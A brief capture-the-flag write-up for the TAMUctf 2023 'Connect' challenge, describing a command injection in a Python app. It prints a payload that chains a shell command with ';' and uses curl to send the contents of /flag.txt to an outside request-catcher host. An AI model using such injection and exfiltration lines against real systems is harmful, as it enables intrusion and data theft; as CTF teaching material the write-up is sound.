TAMUctf 2023 — Connect writeup

TAMUctf 2023 — Connect writeup

This challenge is created by Mr. Blade

Download the connect.zip file. We have app.py

I had modified that so that I could run it and test it locally.

We can add more command by adding ; .

I had created an request catcher with https://requestcatcher.com/ to capture the request.

Let’s do command injection by adding ; curl -s https://flag.requestcatcher.com/$(cat /flag.txt)

The flag path is mentioned in the challenge description.

I used burp and url encoded …

capture-the-flag cybersecurity ethical hacking programming python